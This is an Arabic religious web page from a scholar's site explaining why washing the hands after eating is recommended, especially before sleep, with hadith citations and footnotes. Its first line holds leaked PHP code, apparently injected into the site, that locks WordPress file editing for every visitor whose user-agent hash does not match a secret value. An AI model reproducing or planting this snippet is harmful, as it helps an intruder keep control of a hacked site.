if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } غسل اليد بعد الطعام خاصة قبل النوم - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

غسل اليد بعد الطعام خاصة قبل النوم

يُستحب غسل اليد من أثر الطعام وبقيته لا سيما إذا كان الطعام دسمًا أو فيه ريحٌ وهذا غالبًا يكون في اللحوم أكثر من غيرها.

قوله: (ويُسْتَحَبُّ تَحْوِيْلُ) كلمة تحويل هذه لا أجد لها تفسيرًا يستقيم به المعنى ولعلها: ويستحب تعجيل غسل اليد من الزهام، وهذا يحتاج الرجوع إلى مخطوط هذه الرسالة للتأكد، لكنها لا تستقيم بقوله: (ويُسْتَحَبُّ تَحْوِيْلُ غَسْلِ اليَدِ) لعله (ويُسْتَحَبُّ -تَعجيل- غَسْلِ اليَدِ مِنَ الزُّهَامِ، وَعِنْدَ النَّوْمِ أَشَدُّ اِسْتِحْبَابًا) قال النووي رحمه الله في حديث زيدٍ: «الْوُضُوءُ ممَّا مَسَّتِ النَّارُ»[1] [الحديث رواه الإمام مسلم] قال النووي: حمل الجمهور الأمر بالوضوء مما مست النار على أن المراد بالوضوء غسل الفم والكفين، ثم أورد حديث ابن عباس «أنَّ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ شرِبَ لَبَنًا، ثم دعا بِماءٍ فمضمَضَ، وقال: إنَّ له دَسَمًا»[2] [الحديث رواه الإمام مسلم]، قال رحمه الله أي النووي: فيه استحباب المضمضة من شرب اللبن، قال العلماء: وكذا غيره من المأكول والمشروب، ثم ذكر رحمه الله خلاف العلماء في غسل اليدين قبل الطعام وبعده، وقال: الأظهر استحبابه.

قال رحمه الله: (وَعِنْدَ النَّوْمِ أَشَدُّ اِسْتِحْبَابًا) أي إذا أكل ثم أراد أن ينام مباشرة فإن غسل اليدين من الزهام والزهومة والدسومة وريح الطعام وبقية أثره تكون أشد استحبابًا؛ لأنه إذا أكل طعامًا ونام قبل أن يغسل يده فربما أُوذي من الحشرات والهوام التي تأتي على الريح، إذن إذا أكل طعامًا وأراد أن ينام فإنه يتأكد في حقه غسل اليدين أكثر فقد ورد التحذير من ترك ذلك من أجل الهوام والحشرات التي ربما جاءت على ريح الطعام فلسعته وآذته وفي حديث أبي هريرة رضي الله عنه قال: قال رسول الله صلى الله عليه وسلم: «من نامَ وفي يدِه غَمَرٌ ولم يغسِلْهُ فأصابَه شَيءٌ فلا يلومَنَّ إلَّا نفسَهُ»[3] قالوا: والغمر بالتحريك بفتحتين: بقية الدسم، فيحذر صلى الله عليه وسلم من نام وفي يده أثرٌ من الطعام فأصابه شيءٌ فلا يلومن إلا نفسه [رواه أبو داود والترمذي وحسنه البغوي وصححه ابن حجر] قيل: أصابه شيء يعني من الهوام، وقال بعض أهل العلم: أصابه شيء يعني من البرص وعدّوا من أسباب البرص أن ينام وفي يده أثرٌ من الدسم، وعلى كلٍ نقول: البرص قد يكون له أسبابٌ أُخر لكنه صلى الله عليه وسلم نهى عن ذلك وحذر وقال: من نام ولم يغسل فأصابه شيء، أقل ما يصيبه الهوام، والهوام والحشرات قد تكون من ذوات السموم، من الحية إلى العقرب، وقد تكون دون ذلك من الحشرات التي تأتي على ريح الطعام فربما لسعته وهذا قمة الكسل والعجر، أن ينام الإنسان قبل أن يغسل يده، لا أقل من غسل اليد وإزالة أثر الطعام من الفم واليد أولًا: لهذا الحديث، ثانيًا: لئلا يصيبه ما يؤذيه، ثالثًا: لأن بقايا الطعام في الفم ربما أفسدت عليه أسنانه.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (351).

[2] أخرجه البخاري (5609)، ومسلم (358)، وأبو داود (196)، والترمذي (89)، والنسائي (187)، وابن ماجه (498)، وأحمد (3050) واللفظ له.

[3] أخرجه أبو داود (3852)، وأحمد (7569) واللفظ لهما، والترمذي (1860)، والنسائي في السنن الكبرى (6905)، وابن ماجه (3297)، والحديث صححه الألباني في صحيح أبي داود (3852)، وصحح إسناده أحمد شاكر في تخريج المسند (4/14).